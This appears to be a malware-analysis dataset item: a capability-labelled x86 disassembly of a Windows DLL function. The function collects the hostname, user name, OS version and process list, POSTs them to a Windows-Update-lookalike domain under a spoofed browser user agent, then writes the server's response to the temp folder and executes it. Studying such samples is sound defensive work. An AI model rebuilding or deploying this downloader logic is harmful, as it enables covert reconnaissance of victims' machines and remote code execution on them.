Function at 0x10002bb0
Capabilities:
Enumerate process modules
Get common file path
Get hostname
Get session user name
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10008795
mov eax, dword fs:[0]
push eax
push ecx
mov eax, 0x2758
call fcn.10008380
mov eax, dword [0x1000d00c]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
xor ebx, ebx
lea ecx, [ebp - 0x2328]
push str.Mozilla_4.0__compatible__MSIE_8.0__Windows_NT_5.1__Trident_4.0__.NET_CLR_1.1.4322__.NET_CLR_2.0.50727__.NET_CLR_3.0.4506.2152__.NET_CLR_3.5.30729__InfoPath.2__CIBA__MS_RTC_LM_8_
mov dword [ebp - 0x2648], ebx
call fcn.10004062
push 7
mov dword [ebp - 4], ebx
xor eax, eax
pop ecx
mov dword [ebp - 0x2284], ecx
mov dword [ebp - 0x2288], ebx
mov word [ebp - 0x2298], ax
lea eax, [ebp - 0x2668]
mov byte [ebp - 4], 1
push eax
lea eax, [ebp - 0xa80]
mov dword [ebp - 0x2668], 0x400
push eax
push ecx
call dword [sym.imp.KERNEL32.DLL_GetComputerNameExW]
mov esi, 0x100099cc
mov ecx, esi
call fcn.100010db
push eax
push esi
lea ecx, [ebp - 0x2298]
call fcn.10005237
lea eax, [ebp - 0xa80]
push eax
lea ecx, [ebp - 0x22b0]
call fcn.10004062
lea edx, [ebp - 0x22b0]
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x22c8]
call fcn.100029e1
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp - 0x2298]
mov byte [ebp - 4], 3
call fcn.100052d8
push ebx
push 1
lea ecx, [ebp - 0x22c8]
call fcn.10004a37
push ebx
push 1
lea ecx, [ebp - 0x22b0]
mov byte [ebp - 4], 1
call fcn.10004a37
lea eax, [ebp - 0x266c]
mov dword [ebp - 0x266c], 0x400
push eax
lea eax, [ebp - 0x1280]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
mov esi, 0x100099d4
mov ecx, esi
call fcn.100010db
push eax
push esi
lea ecx, [ebp - 0x2298]
call fcn.10005237
lea eax, [ebp - 0x1280]
push eax
lea ecx, [ebp - 0x22b0]
call fcn.10004062
lea edx, [ebp - 0x22b0]
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x22c8]
call fcn.100029e1
push 0xffffffffffffffff
push ebx
mov byte [ebp - 4], 5
push eax
lea ecx, [ebp - 0x2298]
call fcn.100052d8
push ebx
push 1
lea ecx, [ebp - 0x22c8]
call fcn.10004a37
push ebx
push 1
lea ecx, [ebp - 0x22b0]
mov byte [ebp - 4], 1
call fcn.10004a37
mov esi, 0x11c
lea eax, [ebp - 0x2644]
push esi
push ebx
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x2644], esi
mov esi, dword [sym.imp.KERNEL32.DLL_GetVersionExW]
lea eax, [ebp - 0x2644]
push eax
call esi
test eax, eax
jne 0x10002d82
lea eax, [ebp - 0x2644]
mov dword [ebp - 0x2644], 0x114
push eax
call esi
mov esi, str.OS
mov ecx, esi
call fcn.100010db
push eax
push esi
lea ecx, [ebp - 0x2298]
call fcn.10005237
mov edx, dword [ebp - 0x2640]
lea ecx, [ebp - 0x22c8]
call fcn.100011f2
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp - 0x2298]
mov byte [ebp - 4], 6
call fcn.100052d8
push ebx
push 1
lea ecx, [ebp - 0x22c8]
mov byte [ebp - 4], 1
call fcn.10004a37
mov esi, 0x100099e8
mov ecx, esi
call fcn.100010db
push eax
push esi
lea ecx, [ebp - 0x2298]
call fcn.10005237
mov edx, dword [ebp - 0x263c]
lea ecx, [ebp - 0x22c8]
call fcn.100011f2
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp - 0x2298]
mov byte [ebp - 4], 7
call fcn.100052d8
push ebx
push 1
lea ecx, [ebp - 0x22c8]
mov byte [ebp - 4], 1
call fcn.10004a37
mov dword [ebp - 0x2664], ebx
mov dword [ebp - 0x2660], ebx
call fcn.10005a4a
mov dword [ebp - 0x2664], eax
lea eax, [ebp - 0x264c]
mov byte [ebp - 4], 9
push eax
push 0x1000
lea eax, [ebp - 0x2280]
push eax
call dword [sym.imp.KERNEL32.DLL_K32EnumProcesses]
test eax, eax
je 0x10002f19
mov eax, dword [ebp - 0x264c]
mov esi, ebx
shr eax, 2
mov dword [ebp - 0x2654], eax
cmp esi, eax
jae 0x10002f19
mov ecx, dword [ebp + esi*4 - 0x2280]
test ecx, ecx
je 0x10002f0b
push ecx
push ebx
push 0x410
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
mov edi, eax
test edi, edi
je 0x10002efe
push 0x104
lea eax, [ebp - 0x280]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.DLL_K32GetModuleFileNameExW]
test eax, eax
je 0x10002efe
lea eax, [ebp - 0x280]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
push eax
lea ecx, [ebp - 0x22b0]
call fcn.10004062
mov byte [ebp - 4], 0xa
lea eax, [ebp - 0x22b0]
push dword [ebp - 0x2658]
push eax
push ecx
lea eax, [ebp - 0x265c]
push eax
lea ecx, [ebp - 0x2664]
call fcn.100069d6
push ebx
push 1
lea ecx, [ebp - 0x22b0]
mov byte [ebp - 4], 9
call fcn.10004a37
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [ebp - 0x2654]
inc esi
jmp 0x10002e6d
push 8
pop esi
mov dword [ebp - 4], esi
lea ecx, [ebp - 0x26d0]
mov dword [ebp - 0x2720], 0x10009de8
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::constructor_void_]
push ebx
xor edi, edi
mov byte [ebp - 4], 0xc
push ebx
lea eax, [ebp - 0x271c]
inc edi
or dword [ebp - 0x2648], edi
lea ecx, [ebp - 0x2720]
push eax
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::constructor_class_std::basic_streambuf_wchar_t__struct_std::char_traits_wchar_t_____bool_]
mov dword [ebp - 4], 0xd
mov eax, dword [ebp - 0x2720]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ostringstream_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.virtual_0], vtable.std::basic_ostringstream_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
mov eax, dword [ebp - 0x2720]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x50]
mov dword [ebp + ecx - 0x2724], eax
lea eax, [ebp - 0x271c]
mov ecx, eax
mov dword [ebp - 0x2658], eax
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_wchar_t__struct_std::char_traits_wchar_t__::constructor_void_]
push 2
mov dword [ebp - method.std::basic_stringbuf_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.virtual_0], vtable.std::basic_stringbuf_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
call fcn.10005436
mov dword [ebp - 0x26e4], ebx
mov dword [ebp - 0x26e0], eax
lea ecx, [ebp - 0x2720]
mov byte [ebp - 4], 0xf
mov eax, dword [ebp - 0x2664]
push ecx
push 0x100099ec
push eax
push dword [eax]
lea ecx, [ebp - 0x265c]
call fcn.1000645a
add esp, 0x10
mov ecx, 0x100099f0
call fcn.100010db
push eax
push 0x100099f0
lea ecx, [ebp - 0x2298]
call fcn.10005237
lea eax, [ebp - 0x22b0]
push eax
lea ecx, [ebp - 0x2720]
call fcn.100040c4
mov edx, eax
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x22c8]
call fcn.100029e1
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp - 0x2298]
mov byte [ebp - 4], 0x11
call fcn.100052d8
push ebx
push edi
lea ecx, [ebp - 0x22c8]
call fcn.10004a37
push ebx
push edi
lea ecx, [ebp - 0x22b0]
mov byte [ebp - 4], 0xf
call fcn.10004a37
push str.https:__windows_update_02_en.com_r1
lea ecx, [ebp - 0x22b0]
call fcn.10004062
push ecx
lea eax, [ebp - 0x22b0]
mov byte [ebp - 4], 0x12
push eax
lea ecx, [ebp - 0x2528]
call fcn.100016dc
push ebx
push edi
lea ecx, [ebp - 0x22b0]
mov byte [ebp - 4], 0x14
call fcn.10004a37
push 0xffffffffffffffff
push ebx
lea eax, [ebp - 0x2328]
mov byte [ebp - 0x2524], bl
push eax
lea ecx, [ebp - 0x2414]
call fcn.10004afd
cmp dword [ebp - 0x2284], esi
lea ecx, [ebp - 0x2298]
mov eax, 0x57e40
mov dword [ebp - 0x22d0], ebx
cmovae ecx, dword [ebp - 0x2298]
cmp dword [ebp - 0x2284], 8
mov dword [ebp - 0x23b0], eax
mov dword [ebp - 0x23ac], eax
mov dword [ebp - 0x23a8], eax
mov dword [ebp - 0x23a4], eax
mov eax, dword [ebp - 0x2288]
push 0xf
mov byte [ebp - 0x22e0], bl
lea esi, [ecx + eax*2]
lea eax, [ebp - 0x2298]
cmovae eax, dword [ebp - 0x2298]
mov dword [ebp - 0x2648], eax
mov eax, esi
sub eax, dword [ebp - 0x2648]
pop ecx
sar eax, 1
mov dword [ebp - 0x22cc], ecx
cmp eax, ecx
je 0x10003142
push edi
push eax
lea ecx, [ebp - 0x22e0]
call fcn.10005374
test al, al
je 0x10003142
cmp dword [ebp - 0x22cc], 0x10
lea eax, [ebp - 0x22e0]
mov dword [ebp - 0x22d0], ebx
cmovae eax, dword [ebp - 0x22e0]
mov byte [eax], bl
push dword [ebp - 0x2658]
lea ecx, [ebp - 0x22e0]
push esi
push dword [ebp - 0x2648]
call fcn.10006c97
mov byte [ebp - 4], 0x15
lea eax, [ebp - 0x22e0]
cmp dword [ebp - 0x22cc], 0x10
cmovae eax, dword [ebp - 0x22e0]
mov dword [ebp - 0x2654], eax
test eax, eax
je 0x100031c6
cmp dword [ebp - 0x2468], 0
je 0x10003191
push dword [ebp - 0x2468]
call fcn.1000730f
pop ecx
mov esi, dword [ebp - 0x22d0]
push esi
mov dword [ebp - 0x2468], ebx
call fcn.10007781
mov dword [ebp - 0x2468], eax
pop ecx
test eax, eax
je 0x100031cc
push esi
push dword [ebp - 0x2654]
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov dword [ebp - 0x2464], esi
jmp 0x100031cc
mov esi, dword [ebp - 0x22d0]
push 0x64
lea eax, [ebp - 0x78]
push ebx
push eax
call sub.VCRUNTIME140.dll_memset
push esi
lea eax, [ebp - 0x78]
push 0x10009a48
push eax
call fcn.100063fd
add esp, 0x18
lea ecx, [ebp - 0x2310]
push str.Content_Length:
call fcn.10004062
lea ecx, [ebp - 0x78]
mov byte [ebp - 4], 0x16
call fcn.100010db
push eax
lea eax, [ebp - 0x78]
push eax
lea ecx, [ebp - 0x2310]
call fcn.10005237
mov esi, str._r_nContent_Type:_application_x_www_form_urlencoded_r_n
mov ecx, esi
call fcn.100010db
push eax
push esi
lea ecx, [ebp - 0x2310]
call fcn.10005237
push 0xffffffffffffffff
push ebx
lea eax, [ebp - 0x2310]
push eax
lea ecx, [ebp - 0x2460]
call fcn.10004afd
push str.POST
lea ecx, [ebp - 0x22b0]
call fcn.10004062
push ecx
lea eax, [ebp - 0x22b0]
mov byte [ebp - 4], 0x17
push eax
lea ecx, [ebp - 0x2528]
call fcn.10001917
push ebx
push edi
lea ecx, [ebp - 0x22b0]
mov byte [ebp - 4], 0x16
call fcn.10004a37
lea eax, [ebp - 0x2358]
push eax
lea ecx, [ebp - 0x2528]
call fcn.100028f0
lea eax, [ebp - 0x23a0]
mov byte [ebp - 4], 0x18
push eax
lea ecx, [ebp - 0x2528]
call fcn.10002855
lea eax, [ebp - 0x2340]
mov byte [ebp - 4], 0x19
push eax
lea ecx, [ebp - 0x2528]
call fcn.10002872
lea eax, [ebp - 0x22c8]
mov byte [ebp - 4], 0x1a
push eax
lea ecx, [ebp - 0x2528]
call fcn.10002910
mov edx, 0x10009ae8
mov ecx, eax
call fcn.1000642b
push 0
push edi
lea ecx, [ebp - 0x22c8]
mov bl, al
call fcn.10004a37
test bl, bl
je 0x10003610
lea eax, [ebp - 0x1a80]
push eax
push 0x400
call dword [sym.imp.KERNEL32.DLL_GetTempPathW]
push ecx
lea edx, [ebp - 0x2340]
lea ecx, [ebp - 0x2678]
call fcn.10002930
pop ecx
mov byte [ebp - 4], 0x1b
xor edx, edx
mov ebx, dword [ebp - 0x2674]
mov esi, dword [ebp - 0x2678]
mov dword [ebp - 0x2648], edx
mov dword [ebp - 0x2658], ebx
mov dword [ebp - 0x264c], esi
cmp esi, ebx
je 0x10003605
push esi
lea ecx, [ebp - 0x22b0]
call fcn.10004092
mov eax, dword [ebp - 0x2648]
inc eax
mov byte [ebp - 4], 0x1d
mov dword [ebp - 0x2648], eax
mov dword [ebp - 0x2654], eax
lea eax, [ebp - 0x22b0]
push ecx
push eax
lea ecx, [ebp - 0x200]
call fcn.100016dc
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x2328]
mov byte [ebp - 4], 0x1e
push eax
lea ecx, [ebp - 0xec]
call fcn.10004afd
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x2358]
push eax
lea ecx, [ebp - 0x158]
call fcn.10004afd
push 0x10009af0
lea ecx, [ebp - 0x22c8]
mov byte [ebp - 0x1fc], 0
call fcn.10004062
push ecx
lea eax, [ebp - 0x22c8]
mov byte [ebp - 4], 0x1f
push eax
lea ecx, [ebp - 0x200]
call fcn.10001917
test al, al
mov byte [ebp - 4], 0x1e
push 0
push edi
lea ecx, [ebp - 0x22c8]
sete byte [ebp - 0x264d]
call fcn.10004a37
cmp byte [ebp - 0x264d], 0
je 0x1000341f
lea ecx, [ebp - 0x200]
call fcn.10001833
push 0
push edi
lea ecx, [ebp - 0x22b0]
call fcn.10004a37
mov byte [ebp - 4], 0x1b
jmp 0x100035fd
lea eax, [ebp - 0x1a80]
push eax
lea ecx, [ebp - 0x22f8]
call fcn.10004062
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x2388]
mov edx, dword [ebp - 0x2648]
call fcn.100011d7
push eax
lea ecx, [ebp - 0x2370]
mov byte [ebp - 4], 0x21
call fcn.100064c4
pop ecx
push ecx
mov edx, eax
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x22c8]
call fcn.100064f7
pop ecx
push 0xffffffffffffffff
push 0
push eax
lea ecx, [ebp - 0x22f8]
mov byte [ebp - 4], 0x23
call fcn.100052d8
push 0
push edi
lea ecx, [ebp - 0x22c8]
call fcn.10004a37
push 0
push edi
lea ecx, [ebp - 0x2370]
call fcn.10004a37
push 0
push edi
lea ecx, [ebp - 0x2388]
call fcn.10004a37
cmp dword [ebp - 0x180], 0
je 0x1000351f
cmp dword [ebp - 0x17c], 0
jbe 0x1000351f
and dword [ebp - 0x264c], 0
lea eax, [ebp - 0x22f8]
cmp dword [ebp - 0x22e4], 8
push 0x10009d38
cmovae eax, dword [ebp - 0x22f8]
push eax
lea eax, [ebp - 0x264c]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__wfopen_s]
add esp, 0xc
test eax, eax
jne 0x1000351f
cmp dword [ebp - 0x264c], eax
je 0x1000351f
push dword [ebp - 0x264c]
push edi
push dword [ebp - 0x17c]
push dword [ebp - 0x180]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
push dword [ebp - 0x264c]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 0x14
cmp dword [ebp - 0x22e4], 8
lea eax, [ebp - 0x22f8]
push 0x44
cmovae eax, dword [ebp - 0x22f8]
mov dword [ebp - 0x2654], eax
lea eax, [ebp - 0x2764]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
xor eax, eax
mov dword [ebp - 0x2764], 0x44
lea edi, [ebp - 0x2688]
add esp, 0xc
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x2688]
push eax
lea eax, [ebp - 0x2764]
push eax
xor eax, eax
push eax
push eax
push eax
push eax
push eax
push eax
push 0x10009854
push dword [ebp - 0x2654]
call dword [sym.imp.KERNEL32.DLL_CreateProcessW]
push dword [ebp - 0x2688]
mov edi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
call edi
push dword [ebp - 0x2684]
call edi
push 0
push 1
lea ecx, [ebp - 0x22f8]
call fcn.10004a37
lea ecx, [ebp - 0x200]
call fcn.10001833
mov dword [ebp - 4], 0x1c
jmp 0x100035e7
push 0
push 1
lea ecx, [ebp - 0x22b0]
mov byte [ebp - 4], 0x1b
call fcn.10004a37
xor edi, edi
inc edi
add esi, 0x18
jmp 0x10003337
lea ecx, [ebp - 0x2678]
call fcn.10003fa7
xor ebx, ebx
lea ecx, [ebp - 0x2340]
push ebx
push edi
call fcn.10004a37
push ebx
push edi
lea ecx, [ebp - 0x23a0]
call fcn.10004a37
push ebx
push edi
lea ecx, [ebp - 0x2358]
call fcn.10004a37
push ebx
push edi
lea ecx, [ebp - 0x2310]
call fcn.10004a37
push ebx
push edi
lea ecx, [ebp - 0x22e0]
call fcn.10004c59
lea ecx, [ebp - 0x2528]
call fcn.10001833
lea ecx, [ebp - 0x26d0]
call fcn.100040e0
lea ecx, [ebp - 0x26d0]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::destructor_void_]
lea ecx, [ebp - 0x2664]
call fcn.100036df
push ebx
push edi
lea ecx, [ebp - 0x2298]
call fcn.10004a37
push ebx
push edi
lea ecx, [ebp - 0x2328]
call fcn.10004a37
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.100072fe
mov esp, ebp
pop ebp
ret